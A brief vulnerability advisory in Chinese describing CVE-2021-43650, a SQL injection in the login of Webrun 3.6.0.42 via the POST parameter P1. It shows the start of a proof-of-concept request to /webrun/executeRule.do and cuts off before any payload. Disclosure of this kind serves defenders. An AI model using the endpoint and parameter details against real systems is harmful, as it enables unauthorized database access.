CVE-2021-43650

CVE-2021-43650 Webrun = 3.6.0.42 SQL注入漏洞 描述 Webrun是一个基于Web的管理应用程序。在3.6.0.42版本中，发现并报告了一个SQL注入漏洞，该漏洞发生在登录过程中，具体来说，我们将在POST参数P1中注入有效载荷。 概念验证（POC） 在登录过程中，将发送以下请求： POST /webrun/executeRule.do HTTP/1.1 Host: restricted Content-Length: 334 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64...